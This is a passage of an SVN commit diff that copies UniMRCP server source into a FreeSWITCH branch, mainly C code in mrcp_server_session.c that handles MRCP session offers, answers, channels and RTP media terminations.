+	return mrcp_server_connection_task_msg_signal(
+								CONNECTION_AGENT_TASK_MSG_RECEIVE_MESSAGE,
+								agent,
+								channel,
+								NULL,
+								message,
+								TRUE);
+}
+
+static apt_bool_t mrcp_server_channel_open_signal(mrcp_engine_channel_t *channel, apt_bool_t status)
+{
+	return mrcp_server_engine_task_msg_signal(
+								RESOURCE_ENGINE_TASK_MSG_OPEN_CHANNEL,
+								channel,
+								status,
+								NULL);
+}
+
+static apt_bool_t mrcp_server_channel_close_signal(mrcp_engine_channel_t *channel)
+{
+	return mrcp_server_engine_task_msg_signal(
+								RESOURCE_ENGINE_TASK_MSG_CLOSE_CHANNEL,
+								channel,
+								TRUE,
+								NULL);
+}
+
+static apt_bool_t mrcp_server_channel_message_signal(mrcp_engine_channel_t *channel, mrcp_message_t *message)
+{
+	return mrcp_server_engine_task_msg_signal(
+								RESOURCE_ENGINE_TASK_MSG_MESSAGE,
+								channel,
+								TRUE,
+								message);
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/src/mrcp_server_session.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/src/mrcp_server_session.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-server/src/mrcp_server_session.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/src/mrcp_server_session.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-server/src/mrcp_server_session.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,976 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_server.h"
+#include "mrcp_server_session.h"
+#include "mrcp_resource.h"
+#include "mrcp_resource_factory.h"
+#include "mrcp_resource_engine.h"
+#include "mrcp_sig_agent.h"
+#include "mrcp_server_connection.h"
+#include "mrcp_session_descriptor.h"
+#include "mrcp_control_descriptor.h"
+#include "mrcp_state_machine.h"
+#include "mrcp_message.h"
+#include "mpf_user.h"
+#include "mpf_termination.h"
+#include "mpf_engine.h"
+#include "apt_consumer_task.h"
+#include "apt_log.h"
+
+#define MRCP_SESSION_ID_HEX_STRING_LENGTH 16
+
+struct mrcp_channel_t {
+	/** Memory pool */
+	apr_pool_t             *pool;
+	/** MRCP resource */
+	apt_str_t               resource_name;
+	/** MRCP resource */
+	mrcp_resource_t        *resource;
+	/** MRCP session entire channel belongs to */
+	mrcp_session_t         *session;
+	/** MRCP control channel */
+	mrcp_control_channel_t *control_channel;
+	/** MRCP resource engine channel */
+	mrcp_engine_channel_t  *engine_channel;
+	/** MRCP resource state machine  */
+	mrcp_state_machine_t   *state_machine;
+	/** media descriptor id */
+	apr_size_t              id;
+	/** waiting state of control media */
+	apt_bool_t              waiting_for_channel;
+	/** waiting state of media termination */
+	apt_bool_t              waiting_for_termination;
+};
+
+typedef struct mrcp_termination_slot_t mrcp_termination_slot_t;
+
+struct mrcp_termination_slot_t {
+	/** RTP termination */
+	mpf_termination_t *termination;
+	/** media descriptor id */
+	apr_size_t              id;
+	/** waiting state */
+	apt_bool_t         waiting;
+};
+
+extern const mrcp_engine_channel_event_vtable_t engine_channel_vtable;
+
+void mrcp_server_session_add(mrcp_server_session_t *session);
+void mrcp_server_session_remove(mrcp_server_session_t *session);
+
+static apt_bool_t mrcp_server_signaling_message_dispatch(mrcp_server_session_t *session, mrcp_signaling_message_t *signaling_message);
+
+static apt_bool_t mrcp_server_resource_offer_process(mrcp_server_session_t *session, mrcp_session_descriptor_t *descriptor);
+static apt_bool_t mrcp_server_control_media_offer_process(mrcp_server_session_t *session, mrcp_session_descriptor_t *descriptor);
+static apt_bool_t mrcp_server_av_media_offer_process(mrcp_server_session_t *session, mrcp_session_descriptor_t *descriptor);
+
+static apt_bool_t mrcp_server_on_termination_modify(mrcp_server_session_t *session, const mpf_message_t *mpf_message);
+static apt_bool_t mrcp_server_on_termination_subtract(mrcp_server_session_t *session, const mpf_message_t *mpf_message);
+
+static apt_bool_t mrcp_server_session_answer_send(mrcp_server_session_t *session);
+static apt_bool_t mrcp_server_session_terminate_send(mrcp_server_session_t *session);
+
+static mrcp_channel_t* mrcp_server_channel_find(mrcp_server_session_t *session, const apt_str_t *resource_name);
+
+static apt_bool_t mrcp_server_mpf_request_send(
+						mrcp_server_session_t *session, 
+						mpf_command_type_e command_id, 
+						mpf_context_t *context, 
+						mpf_termination_t *termination, 
+						void *descriptor);
+
+static apt_bool_t state_machine_on_message_dispatch(mrcp_state_machine_t *state_machine, mrcp_message_t *message);
+static apt_bool_t state_machine_on_deactivate(mrcp_state_machine_t *state_machine);
+
+
+mrcp_server_session_t* mrcp_server_session_create()
+{
+	mrcp_server_session_t *session = (mrcp_server_session_t*) mrcp_session_create(sizeof(mrcp_server_session_t)-sizeof(mrcp_session_t));
+	session->context = NULL;
+	session->terminations = apr_array_make(session->base.pool,2,sizeof(mrcp_termination_slot_t));
+	session->channels = apr_array_make(session->base.pool,2,sizeof(mrcp_channel_t*));
+	session->active_request = NULL;
+	session->request_queue = apt_list_create(session->base.pool);
+	session->offer = NULL;
+	session->answer = NULL;
+	session->answer_flag_count = 0;
+	session->terminate_flag_count = 0;
+	session->deactivate_flag_count = 0;
+	return session;
+}
+
+static mrcp_engine_channel_t* mrcp_server_engine_channel_create(mrcp_server_session_t *session, const apt_str_t *resource_name)
+{
+	mrcp_resource_engine_t *resource_engine = apr_hash_get(
+												session->profile->engine_table,
+												resource_name->buf,
+												resource_name->length);
+	if(!resource_engine) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Find Resource Engine [%s]",resource_name->buf);
+		return NULL;
+	}
+
+	return resource_engine->method_vtable->create_channel(resource_engine,session->base.pool);
+}
+
+static mrcp_channel_t* mrcp_server_channel_create(mrcp_server_session_t *session, const apt_str_t *resource_name, apr_size_t id)
+{
+	mrcp_channel_t *channel;
+	apr_pool_t *pool = session->base.pool;
+
+	channel = apr_palloc(pool,sizeof(mrcp_channel_t));
+	channel->pool = pool;
+	channel->session = &session->base;
+	channel->resource = NULL;
+	channel->control_channel = NULL;
+	channel->state_machine = NULL;
+	channel->engine_channel = NULL;
+	channel->id = id;
+	channel->waiting_for_channel = FALSE;
+	channel->waiting_for_termination = FALSE;
+	apt_string_reset(&channel->resource_name);
+
+	if(resource_name && resource_name->buf) {
+		mrcp_resource_id resource_id;
+		mrcp_resource_t *resource;
+		mrcp_engine_channel_t *engine_channel;
+		channel->resource_name = *resource_name;
+		resource_id = mrcp_resource_id_find(
+								session->profile->resource_factory,
+								resource_name);
+		resource = mrcp_resource_get(session->profile->resource_factory,resource_id);
+		if(resource) {
+			channel->resource = resource;
+			if(session->base.signaling_agent->mrcp_version == MRCP_VERSION_2) {
+				channel->control_channel = mrcp_server_control_channel_create(
+									session->profile->connection_agent,
+									channel,
+									pool);
+			}
+			channel->state_machine = resource->create_server_state_machine(
+								channel,
+								session->base.signaling_agent->mrcp_version,
+								pool);
+			if(channel->state_machine) {
+				channel->state_machine->on_dispatch = state_machine_on_message_dispatch;
+				channel->state_machine->on_deactivate = state_machine_on_deactivate;
+			}
+
+			engine_channel = mrcp_server_engine_channel_create(session,resource_name);
+			if(engine_channel) {
+				engine_channel->id = session->base.id;
+				engine_channel->event_obj = channel;
+				engine_channel->event_vtable = &engine_channel_vtable;
+				channel->engine_channel = engine_channel;
+			}
+			else {
+				apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Resource Engine Channel [%s]",resource_name->buf);
+				session->answer->status = MRCP_SESSION_STATUS_UNACCEPTABLE_RESOURCE;
+			}
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No Such Resource [%s]",resource_name->buf);
+			session->answer->status = MRCP_SESSION_STATUS_NO_SUCH_RESOURCE;
+		}
+	}
+	else {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Invalid Resource Identifier");
+		session->answer->status = MRCP_SESSION_STATUS_NO_SUCH_RESOURCE;
+	}
+
+	return channel;
+}
+
+mrcp_session_t* mrcp_server_channel_session_get(mrcp_channel_t *channel)
+{
+	return channel->session;
+}
+
+apt_bool_t mrcp_server_signaling_message_process(mrcp_signaling_message_t *signaling_message)
+{
+	mrcp_server_session_t *session = signaling_message->session;
+	if(session->active_request) {
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Push Request to Queue");
+		apt_list_push_back(session->request_queue,signaling_message,session->base.pool);
+	}
+	else {
+		session->active_request = signaling_message;
+		mrcp_server_signaling_message_dispatch(session,signaling_message);
+	}
+	return TRUE;
+}
+
+apt_bool_t mrcp_server_on_channel_modify(mrcp_channel_t *channel, mrcp_control_descriptor_t *answer, apt_bool_t status)
+{
+	mrcp_server_session_t *session = (mrcp_server_session_t*)channel->session;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Control Channel Modify");
+	if(!answer) {
+		return FALSE;
+	}
+	if(!channel->waiting_for_channel) {
+		return FALSE;
+	}
+	channel->waiting_for_channel = FALSE;
+	answer->session_id = session->base.id;
+	mrcp_session_control_media_set(session->answer,channel->id,answer);
+	if(session->answer_flag_count) {
+		session->answer_flag_count--;
+		if(!session->answer_flag_count) {
+			/* send answer to client */
+			mrcp_server_session_answer_send(session);
+		}
+	}
+	return TRUE;
+}
+
+apt_bool_t mrcp_server_on_channel_remove(mrcp_channel_t *channel, apt_bool_t status)
+{
+	mrcp_server_session_t *session = (mrcp_server_session_t*)channel->session;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Control Channel Remove");
+	if(!channel->waiting_for_channel) {
+		return FALSE;
+	}
+	channel->waiting_for_channel = FALSE;
+	if(session->terminate_flag_count) {
+		session->terminate_flag_count--;
+		if(!session->terminate_flag_count) {
+			mrcp_server_session_terminate_send(session);
+		}
+	}
+	return TRUE;
+}
+
+apt_bool_t mrcp_server_on_channel_message(mrcp_channel_t *channel, mrcp_message_t *message)
+{
+	mrcp_server_session_t *session = (mrcp_server_session_t*)channel->session;
+	mrcp_signaling_message_t *signaling_message;
+	signaling_message = apr_palloc(session->base.pool,sizeof(mrcp_signaling_message_t));
+	signaling_message->type = SIGNALING_MESSAGE_CONTROL;
+	signaling_message->session = session;
+	signaling_message->descriptor = NULL;
+	signaling_message->channel = channel;
+	signaling_message->message = message;
+	return mrcp_server_signaling_message_process(signaling_message);
+}
+
+apt_bool_t mrcp_server_on_engine_channel_open(mrcp_channel_t *channel, apt_bool_t status)
+{
+	mrcp_server_session_t *session = (mrcp_server_session_t*)channel->session;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Engine Channel Open [%s]", status == TRUE ? "OK" : "Failed");
+	if(status == FALSE) {
+		session->answer->status = MRCP_SESSION_STATUS_UNAVAILABLE_RESOURCE;
+	}
+	if(session->answer_flag_count) {
+		session->answer_flag_count--;
+		if(!session->answer_flag_count) {
+			/* send answer to client */
+			mrcp_server_session_answer_send(session);
+		}
+	}
+	return TRUE;
+}
+
+apt_bool_t mrcp_server_on_engine_channel_close(mrcp_channel_t *channel)
+{
+	mrcp_server_session_t *session = (mrcp_server_session_t*)channel->session;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Engine Channel Close");
+	if(session->terminate_flag_count) {
+		session->terminate_flag_count--;
+		if(!session->terminate_flag_count) {
+			mrcp_server_session_terminate_send(session);
+		}
+	}
+	return TRUE;
+}
+
+apt_bool_t mrcp_server_on_engine_channel_message(mrcp_channel_t *channel, mrcp_message_t *message)
+{
+	if(!channel->state_machine) {
+		return FALSE;
+	}
+	/* update state machine */
+	return mrcp_state_machine_update(channel->state_machine,message);
+}
+
+
+apt_bool_t mrcp_server_mpf_message_process(mpf_message_t *mpf_message)
+{
+	mrcp_server_session_t *session = NULL;
+	if(mpf_message->context) {
+		session = mpf_context_object_get(mpf_message->context);
+	}
+	if(mpf_message->message_type == MPF_MESSAGE_TYPE_RESPONSE) {
+		switch(mpf_message->command_id) {
+			case MPF_COMMAND_ADD:
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Termination Add");
+				mrcp_server_on_termination_modify(session,mpf_message);
+				break;
+			case MPF_COMMAND_MODIFY:
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Termination Modify");
+				mrcp_server_on_termination_modify(session,mpf_message);
+				break;
+			case MPF_COMMAND_SUBTRACT:
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Termination Subtract");
+				mrcp_server_on_termination_subtract(session,mpf_message);
+				break;
+			default:
+				break;
+		}
+	}
+	else if(mpf_message->message_type == MPF_MESSAGE_TYPE_EVENT) {
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Process MPF Event");
+	}
+	return TRUE;
+}
+
+static mrcp_session_descriptor_t* mrcp_session_answer_create(mrcp_session_descriptor_t *offer, apr_pool_t *pool)
+{
+	int i;
+	void **control_slot;
+	mpf_rtp_media_descriptor_t **av_slot;
+	mrcp_session_descriptor_t *answer = apr_palloc(pool,sizeof(mrcp_session_descriptor_t));
+	apt_string_reset(&answer->origin);
+	apt_string_reset(&answer->ip);
+	apt_string_reset(&answer->ext_ip);
+	answer->resource_name = offer->resource_name;
+	answer->resource_state = offer->resource_state;
+	answer->status = offer->status;
+	answer->control_media_arr = apr_array_make(pool,offer->control_media_arr->nelts,sizeof(void*));
+	for(i=0; i<offer->control_media_arr->nelts; i++) {
+		control_slot = apr_array_push(answer->control_media_arr);
+		*control_slot = NULL;
+	}
+	answer->audio_media_arr = apr_array_make(pool,offer->audio_media_arr->nelts,sizeof(mpf_rtp_media_descriptor_t*));
+	for(i=0; i<offer->audio_media_arr->nelts; i++) {
+		av_slot = apr_array_push(answer->audio_media_arr);
+		*av_slot = NULL;
+	}
+	answer->video_media_arr = apr_array_make(pool,offer->video_media_arr->nelts,sizeof(mpf_rtp_media_descriptor_t*));
+	for(i=0; i<offer->video_media_arr->nelts; i++) {
+		av_slot = apr_array_push(answer->video_media_arr);
+		*av_slot = NULL;
+	}
+	return answer;
+}
+
+static apt_bool_t mrcp_server_session_offer_process(mrcp_server_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	if(!session->context) {
+		/* initial offer received, generate session id and add to session's table */
+		if(!session->base.id.length) {
+			apt_unique_id_generate(&session->base.id,MRCP_SESSION_ID_HEX_STRING_LENGTH,session->base.pool);
+		}
+		mrcp_server_session_add(session);
+
+		session->context = mpf_context_create(session,5,session->base.pool);
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Receive Offer "APT_SID_FMT" [c:%d a:%d v:%d]",
+		MRCP_SESSION_SID(&session->base),
+		descriptor->control_media_arr->nelts,
+		descriptor->audio_media_arr->nelts,
+		descriptor->video_media_arr->nelts);
+
+	/* store received offer */
+	session->offer = descriptor;
+	session->answer = mrcp_session_answer_create(descriptor,session->base.pool);
+
+	if(session->base.signaling_agent->mrcp_version == MRCP_VERSION_1) {
+		if(mrcp_server_resource_offer_process(session,descriptor) == TRUE) {
+			mrcp_server_av_media_offer_process(session,descriptor);
+		}
+		else {
+			session->answer->resource_state = FALSE;
+		}
+	}
+	else {
+		mrcp_server_control_media_offer_process(session,descriptor);
+		mrcp_server_av_media_offer_process(session,descriptor);
+	}
+	
+	if(!session->answer_flag_count) {
+		/* send answer to client */
+		mrcp_server_session_answer_send(session);
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_session_terminate_process(mrcp_server_session_t *session)
+{
+	mrcp_channel_t *channel;
+	mrcp_termination_slot_t *slot;
+	int i;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Receive Terminate Request "APT_SID_FMT,MRCP_SESSION_SID(&session->base));
+	for(i=0; i<session->channels->nelts; i++) {
+		channel = ((mrcp_channel_t**)session->channels->elts)[i];
+		if(!channel) continue;
+
+		/* send remove channel request */
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Remove Control Channel [%d]",i);
+		if(channel->control_channel) {
+			if(mrcp_server_control_channel_remove(channel->control_channel) == TRUE) {
+				channel->waiting_for_channel = TRUE;
+				session->terminate_flag_count++;
+			}
+		}
+
+		if(channel->engine_channel) {
+			mpf_termination_t *termination = channel->engine_channel->termination;
+			/* send subtract termination request */
+			if(termination) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Subtract Channel Termination");
+				if(mrcp_server_mpf_request_send(session,MPF_COMMAND_SUBTRACT,session->context,termination,NULL) == TRUE) {
+					channel->waiting_for_termination = TRUE;
+					session->terminate_flag_count++;
+				}
+			}
+
+			/* close resource engine channel */
+			if(mrcp_engine_channel_close(channel->engine_channel) == TRUE) {
+				session->terminate_flag_count++;
+			}
+		}
+	}
+	for(i=0; i<session->terminations->nelts; i++) {
+		/* get existing termination */
+		slot = &((mrcp_termination_slot_t*)session->terminations->elts)[i];
+		if(!slot || !slot->termination) continue;
+
+		/* send subtract termination request */
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Subtract RTP Termination [%d]",i);
+		if(mrcp_server_mpf_request_send(session,MPF_COMMAND_SUBTRACT,session->context,slot->termination,NULL) == TRUE) {
+			slot->waiting = TRUE;
+			session->terminate_flag_count++;
+		}
+	}
+	mrcp_server_session_remove(session);
+
+	if(!session->terminate_flag_count) {
+		mrcp_server_session_terminate_send(session);
+	}
+
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_session_deactivate(mrcp_server_session_t *session)
+{
+	mrcp_channel_t *channel;
+	int i;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Deactivate Session "APT_SID_FMT,MRCP_SESSION_SID(&session->base));
+	for(i=0; i<session->channels->nelts; i++) {
+		channel = ((mrcp_channel_t**)session->channels->elts)[i];
+		if(!channel || !channel->state_machine) continue;
+
+		if(mrcp_state_machine_deactivate(channel->state_machine) == TRUE) {
+			session->deactivate_flag_count++;
+		}
+	}
+	
+	if(!session->deactivate_flag_count) {
+		mrcp_server_session_terminate_process(session);
+	}
+
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_on_message_receive(mrcp_server_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
+{
+	if(!channel) {
+		channel = mrcp_server_channel_find(session,&message->channel_id.resource_name);
+		if(!channel) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No Such Channel");
+			return FALSE;
+		}
+	}
+	if(!channel->resource || !channel->state_machine) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No Resource");
+		return FALSE;
+	}
+
+	/* update state machine */
+	return mrcp_state_machine_update(channel->state_machine,message);
+}
+
+static apt_bool_t mrcp_server_signaling_message_dispatch(mrcp_server_session_t *session, mrcp_signaling_message_t *signaling_message)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Dispatch Signaling Message [%d]",signaling_message->type);
+	switch(signaling_message->type) {
+		case SIGNALING_MESSAGE_OFFER:
+			mrcp_server_session_offer_process(signaling_message->session,signaling_message->descriptor);
+			break;
+		case SIGNALING_MESSAGE_CONTROL:
+			mrcp_server_on_message_receive(signaling_message->session,signaling_message->channel,signaling_message->message);
+			break;
+		case SIGNALING_MESSAGE_TERMINATE:
+			mrcp_server_session_deactivate(signaling_message->session);
+			break;
+		default:
+			break;
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_resource_offer_process(mrcp_server_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	if(descriptor->resource_state == TRUE) {
+		/* setup */
+		mrcp_channel_t *channel;
+		mrcp_channel_t **slot;
+		int count = session->channels->nelts;
+		channel = mrcp_server_channel_find(session,&descriptor->resource_name);
+		if(channel) {
+			/* channel already exists */
+			return TRUE;
+		}
+		/* create new MRCP channel instance */
+		channel = mrcp_server_channel_create(session,&descriptor->resource_name,count);
+		if(!channel || !channel->resource) {
+			return FALSE;
+		}
+		/* add to channel array */
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Add Control Channel [%d]",count);
+		slot = apr_array_push(session->channels);
+		*slot = channel;
+
+		if(channel->engine_channel) {
+			/* open resource engine channel */
+			if(mrcp_engine_channel_open(channel->engine_channel) == TRUE) {
+				mpf_termination_t *termination = channel->engine_channel->termination;
+				session->answer_flag_count++;
+
+				if(termination) {
+					/* send add termination request (add to media context) */
+					if(mrcp_server_mpf_request_send(session,MPF_COMMAND_ADD,session->context,termination,NULL) == TRUE) {
+						channel->waiting_for_termination = TRUE;
+						session->answer_flag_count++;
+					}
+
+					if(termination->audio_stream) {
+						mpf_rtp_media_descriptor_t *rtp_media_descriptor = mrcp_session_audio_media_get(descriptor,0);
+						if(rtp_media_descriptor) {
+							mpf_stream_mode_e mode = termination->audio_stream->mode;
+							rtp_media_descriptor->mode |= mode;
+						}
+					}
+				}
+			}
+		}
+	}
+	else {
+		/* teardown */
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_control_media_offer_process(mrcp_server_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	mrcp_channel_t *channel;
+	mrcp_control_descriptor_t *control_descriptor;
+	int i;
+	int count = session->channels->nelts;
+	if(count > descriptor->control_media_arr->nelts) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Number of Control Channels [%d] > Number of Control Media in Offer [%d]",
+			count,descriptor->control_media_arr->nelts);
+		count = descriptor->control_media_arr->nelts;
+	}
+	
+	/* update existing control channels */
+	for(i=0; i<count; i++) {
+		/* get existing termination */
+		channel = *((mrcp_channel_t**)session->channels->elts + i);
+		if(!channel) continue;
+
+		channel->waiting_for_channel = FALSE;
+		/* get control descriptor */
+		control_descriptor = mrcp_session_control_media_get(descriptor,i);
+		if(!control_descriptor) continue;
+
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Modify Control Channel [%d]",i);
+		if(channel->control_channel) {
+			/* send offer */
+			if(mrcp_server_control_channel_modify(channel->control_channel,control_descriptor) == TRUE) {
+				channel->waiting_for_channel = TRUE;
+				session->answer_flag_count++;
+			}
+		}
+
+		if(channel->waiting_for_channel == FALSE) {
+			mrcp_control_descriptor_t *answer = mrcp_control_answer_create(control_descriptor,channel->pool);
+			answer->port = 0;
+			answer->session_id = session->base.id;
+			mrcp_session_control_media_set(session->answer,channel->id,answer);
+		}
+	}
+	
+	/* add new control channels */
+	for(; i<descriptor->control_media_arr->nelts; i++) {
+		mrcp_channel_t **slot;
+		/* get control descriptor */
+		control_descriptor = mrcp_session_control_media_get(descriptor,i);
+		if(!control_descriptor) continue;
+
+		/* create new MRCP channel instance */
+		channel = mrcp_server_channel_create(session,&control_descriptor->resource_name,i);
+		if(!channel) continue;
+		/* add to channel array */
+
+		control_descriptor->session_id = session->base.id;
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Add Control Channel [%d]",i);
+		slot = apr_array_push(session->channels);
+		*slot = channel;
+
+		if(channel->control_channel) {
+			/* send modify connection request */
+			if(mrcp_server_control_channel_add(channel->control_channel,control_descriptor) == TRUE) {
+				channel->waiting_for_channel = TRUE;
+				session->answer_flag_count++;
+			}
+		}
+
+		if(channel->waiting_for_channel == FALSE) {
+			mrcp_control_descriptor_t *answer = mrcp_control_answer_create(control_descriptor,channel->pool);
+			answer->port = 0;
+			answer->session_id = session->base.id;
+			mrcp_session_control_media_set(session->answer,channel->id,answer);
+		}
+		
+		if(channel->engine_channel) {
+			/* open resource engine channel */
+			if(mrcp_engine_channel_open(channel->engine_channel) == TRUE) {
+				mpf_termination_t *termination = channel->engine_channel->termination;
+				session->answer_flag_count++;
+
+				if(termination) {
+					/* send add termination request (add to media context) */
+					if(mrcp_server_mpf_request_send(session,MPF_COMMAND_ADD,session->context,termination,NULL) == TRUE) {
+						channel->waiting_for_termination = TRUE;
+						session->answer_flag_count++;
+					}
+				}
+			}
+		}
+	}
+
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_av_media_offer_process(mrcp_server_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	mrcp_termination_slot_t *slot;
+	int i;
+	int count = session->terminations->nelts;
+	if(!descriptor->audio_media_arr->nelts) {
+		/* no media to process */
+		return TRUE;
+	}
+	if(count > descriptor->audio_media_arr->nelts) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Number of Terminations [%d] > Number of Audio Media in Offer [%d]",
+			count,descriptor->audio_media_arr->nelts);
+		count = descriptor->audio_media_arr->nelts;
+	}
+	
+	/* update existing terminations */
+	for(i=0; i<count; i++) {
+		mpf_rtp_termination_descriptor_t *rtp_descriptor;
+		/* get existing termination */
+		slot = &((mrcp_termination_slot_t*)session->terminations->elts)[i];
+		if(!slot || !slot->termination) continue;
+
+		/* construct termination descriptor */
+		rtp_descriptor = apr_palloc(session->base.pool,sizeof(mpf_rtp_termination_descriptor_t));
+		mpf_rtp_termination_descriptor_init(rtp_descriptor);
+		rtp_descriptor->audio.local = NULL;
+		rtp_descriptor->audio.remote = mrcp_session_audio_media_get(descriptor,i);
+
+		/* send modify termination request */
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Modify RTP Termination [%d]",i);
+		if(mrcp_server_mpf_request_send(session,MPF_COMMAND_MODIFY,session->context,slot->termination,rtp_descriptor) == TRUE) {
+			slot->waiting = TRUE;
+			session->answer_flag_count++;
+		}
+	}
+	
+	/* add new terminations */
+	for(; i<descriptor->audio_media_arr->nelts; i++) {
+		mpf_rtp_termination_descriptor_t *rtp_descriptor;
+		mpf_termination_t *termination;
+		/* create new RTP termination instance */
+		termination = mpf_termination_create(session->profile->rtp_termination_factory,session,session->base.pool);
+		/* add to termination array */
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Add RTP Termination [%d]",i);
+		slot = apr_array_push(session->terminations);
+		slot->id = i;
+		slot->waiting = FALSE;
+		slot->termination = termination;
+
+		/* construct termination descriptor */
+		rtp_descriptor = apr_palloc(session->base.pool,sizeof(mpf_rtp_termination_descriptor_t));
+		mpf_rtp_termination_descriptor_init(rtp_descriptor);
+		rtp_descriptor->audio.local = NULL;
+		rtp_descriptor->audio.remote = mrcp_session_audio_media_get(descriptor,i);
+
+		/* send add termination request (add to media context) */
+		if(mrcp_server_mpf_request_send(session,MPF_COMMAND_ADD,session->context,termination,rtp_descriptor) == TRUE) {
+			slot->waiting = TRUE;
+			session->answer_flag_count++;
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_session_answer_send(mrcp_server_session_t *session)
+{
+	apt_bool_t status;
+	mrcp_session_descriptor_t *descriptor = session->answer;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Send Answer "APT_SID_FMT" [c:%d a:%d v:%d] Status %s",
+		MRCP_SESSION_SID(&session->base),
+		descriptor->control_media_arr->nelts,
+		descriptor->audio_media_arr->nelts,
+		descriptor->video_media_arr->nelts,
+		mrcp_session_status_phrase_get(descriptor->status));
+	status = mrcp_session_answer(&session->base,descriptor);
+	session->offer = NULL;
+	session->answer = NULL;
+
+	session->active_request = apt_list_pop_front(session->request_queue);
+	if(session->active_request) {
+		mrcp_server_signaling_message_dispatch(session,session->active_request);
+	}
+	return status;
+}
+
+static apt_bool_t mrcp_server_session_terminate_send(mrcp_server_session_t *session)
+{
+	int i;
+	mrcp_channel_t *channel;
+	for(i=0; i<session->channels->nelts; i++) {
+		channel = ((mrcp_channel_t**)session->channels->elts)[i];
+		if(!channel) continue;
+
+		if(channel->control_channel) {
+			mrcp_server_control_channel_destroy(channel->control_channel);
+			channel->control_channel = NULL;
+		}
+		if(channel->engine_channel) {
+			mrcp_engine_channel_destroy(channel->engine_channel);
+			channel->engine_channel = NULL;
+		}
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Send Terminate Response "APT_SID_FMT,MRCP_SESSION_SID(&session->base));
+	mrcp_session_terminate_response(&session->base);
+	return TRUE;
+}
+
+
+static mrcp_termination_slot_t* mrcp_server_rtp_termination_find(mrcp_server_session_t *session, mpf_termination_t *termination)
+{
+	int i;
+	mrcp_termination_slot_t *slot;
+	for(i=0; i<session->terminations->nelts; i++) {
+		slot = &((mrcp_termination_slot_t*)session->terminations->elts)[i];
+		if(slot && slot->termination == termination) {
+			return slot;
+		}
+	}
+	return NULL;
+}
+
+static mrcp_channel_t* mrcp_server_channel_termination_find(mrcp_server_session_t *session, mpf_termination_t *termination)
+{
+	int i;
+	mrcp_channel_t *channel;
+	for(i=0; i<session->channels->nelts; i++) {
+		channel = ((mrcp_channel_t**)session->channels->elts)[i];
+		if(!channel) continue;
+
+		if(channel->engine_channel && channel->engine_channel->termination == termination) {
+			return channel;
+		}
+	}
+	return NULL;
+}
+
+static mrcp_channel_t* mrcp_server_channel_find(mrcp_server_session_t *session, const apt_str_t *resource_name)
+{
+	int i;
+	mrcp_channel_t *channel;
+	for(i=0; i<session->channels->nelts; i++) {
+		channel = ((mrcp_channel_t**)session->channels->elts)[i];
+		if(!channel) continue;
+
+		if(apt_string_compare(&channel->resource_name,resource_name) == TRUE) {
+			return channel;
+		}
+	}
+	return NULL;
+}
+
+static apt_bool_t mrcp_server_on_termination_modify(mrcp_server_session_t *session, const mpf_message_t *mpf_message)
+{
+	mrcp_termination_slot_t *termination_slot;
+	if(!session) {
+		return FALSE;
+	}
+	termination_slot = mrcp_server_rtp_termination_find(session,mpf_message->termination);
